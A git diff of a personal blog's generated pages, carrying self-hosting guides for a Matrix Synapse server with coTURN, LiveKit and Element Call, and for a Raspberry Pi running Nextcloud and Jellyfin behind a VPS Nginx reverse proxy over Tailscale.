    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/synapse/page/1/index.html b/public-clearnet/tags/synapse/page/1/index.html new file mode 100644 index 0000000..d7212b8 --- /dev/null +++ b/public-clearnet/tags/synapse/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/synapse/ + \ No newline at end of file diff --git a/public-clearnet/tags/tailscale/index.html b/public-clearnet/tags/tailscale/index.html new file mode 100644 index 0000000..ee773fb --- /dev/null +++ b/public-clearnet/tags/tailscale/index.html @@ -0,0 +1,18 @@ +Tailscale | AlipourIm journeys +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    February 2, 2026 · 6 min · Iman Alipour +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    December 21, 2025 · 9 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/tailscale/index.xml b/public-clearnet/tags/tailscale/index.xml new file mode 100644 index 0000000..e9c48a5 --- /dev/null +++ b/public-clearnet/tags/tailscale/index.xml @@ -0,0 +1,448 @@ +Tailscale on AlipourIm journeyshttps://blog.alipour.eu/tags/tailscale/Recent content in Tailscale on AlipourIm journeysHugo -- 0.146.0enMon, 02 Feb 2026 00:00:00 +0000Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfinhttps://blog.alipour.eu/posts/pi_service_touchup/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/posts/pi_service_touchup/Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4https://blog.alipour.eu/posts/boredom/Sun, 21 Dec 2025 09:30:00 +0100https://blog.alipour.eu/posts/boredom/A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later.Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.
